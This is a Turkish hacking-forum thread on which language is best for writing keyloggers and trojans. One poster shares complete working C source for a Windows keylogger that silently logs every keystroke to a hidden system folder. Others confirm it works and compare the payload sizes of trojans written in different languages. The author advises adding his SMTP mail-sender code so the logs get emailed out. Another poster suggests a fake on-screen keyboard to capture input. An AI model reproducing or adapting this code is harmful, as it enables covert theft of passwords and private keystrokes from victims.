Keylogger Yazsaydınız Hangi Dille Yazardınız? Yada Yazıyorsunuz?
-
al sana C de yazdıgım keylogger fonksiyonu...c:\\windows\\security\\log.txt dizininde log tutar.
kullanımı çok basit program içinde şu şekilde kullanıcaksın
/---------------------------
FILE *file;
get_key(file);
/---------------------------
void get_key(FILE *file)
{short key;
char szKey[MAX_PATH];
int scan;
unsigned short limit = 0;while(limit != 10000 )
{
Sleep(10);
for(key=0;key<256;key++)
{
if(GetAsyncKeyState(key)==-32767)
{
scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0));
GetKeyNameText(scan << 16,szKey,MAX_PATH);
file=fopen ("c:\\windows\\security\\log.txt","a+");
limit++;
switch(key)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_RETURN:
fputs("\r\n[ENTER]\r\n",file);
fclose(file);
break;
case VK_TAB:
fputs("\r\n[TAB]\r\n",file);
fclose(file);
break;
case VK_DELETE:
fputs("\r\n[DEL]\r\n",file);
fclose(file);
break;
case 187:
fputc('+',file);
fclose(file);
break;
case 188:
fputc(',',file);
fclose(file);
break;
case 189:
fputc('-',file);
fclose(file);
break;
case 190:
fputc('.',file);
fclose(file);
break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;default:
fputs(szKey,file);
fclose(file);
break;
}
//fprintf(file,"%s",szKey);
fclose(file);
}
}
}//______________________________________
}
-
delphi = veritabanı programı :D 90 yaşında ölen bi baık türü :D pardon Borlandığın yaptığı bi program :D
-
bycodec usta verdiğin kod gerçekten 10 numara çalışıyo. benim kodlar bellekte şişmeye sebep oluyodu. seninkilerde böyle bi sorun yok. teşşekkür kod için.
kodda aklıma takılan bir iki yer var.
char szKey[MAX_PATH]; burdaki MAX_PATH nedir.
-
bulutbey bunu yazdı:
-----------------------------
python da yazardım
-----------------------------pythonla keylogger veya trojan yazmak pek mantıklı değil bence. derleme sonucu oluşan dosya boyutu çok büyük yanlış hatırlamıyorsam ortalama 6-7 mb. visual basicle yazdığın bi keylogger ortalama 40 kb fakat programa winsock falan eklersen wincosk.dll dosyasına ihtiyacın var. en iyisi c ile yazmak. sadece tek exe keylogger için yeterli ve yazdığın keylogger ın özelliğine göre 18 kb il 25 kb arasında bi boyutu var. c diline hayranım. Allah dennis ritche amcamızdan razı olsun.
-
kesinlikle delphi
-
Delphi olabilir tabiiki,
Ama VB de fena olmayabilir.
Malum zaten olan win. dll lerınden kullanabılecegın bırcok fonk. var.
Ayrıca vista yaygınlastıgında vb.net ve c# bile keylogger - trojan için uygun diller haline gelecek.
Ama tabiiki min. boyut için asm, yada C gibi dusuk sevıye bır dıl kullanman lazım.
Sanıyorum ki, VB le yada Delphiyle yazacagın bir keylog. server'ı 20 - 25kb dan kucuk olamaz.(Tahmin tabiiki bu)
4kb da mix ASM kullanılarak BASIC'ın yazıldıgını dusunursek, ASM ile 20kb de gercekten cok fazla sey yapabılırsın dıye dusunyorum.
-
nibble bunu yazdı:
-----------------------------bycodec usta verdiğin kod gerçekten 10 numara çalışıyo. benim kodlar bellekte şişmeye sebep oluyodu. seninkilerde böyle bi sorun yok. teşşekkür kod için.
kodda aklıma takılan bir iki yer var.
char szKey[MAX_PATH]; burdaki MAX_PATH nedir.
-----------------------------MAX_PATH programın taşınabilir olması için kullanılmıştır.260 değerine karşılık gelir..
forumda daha önceden verdiğim SMTP mail sender kodlarıyla bu keylogger i birleştirirsen mail gönderen keylogger elde etmiş olursun....
(orda olup olmadıgını bilmiyorsan.yada çalışıp çalışmadıgından emin değilsen o bir C programıdır)
-
alayına isyan ölümüne delphi derim
bide birisi sormuştu ekran klavyesinn tuşlarını keydadebilirmiyiz die bende ekran klavyesi uygulamasını bozarsın yada fake bir ekran klavyesiyle değiştirirsen olur demiştim
-
...
-
çalışıyormu diye sordun sanırım :-)
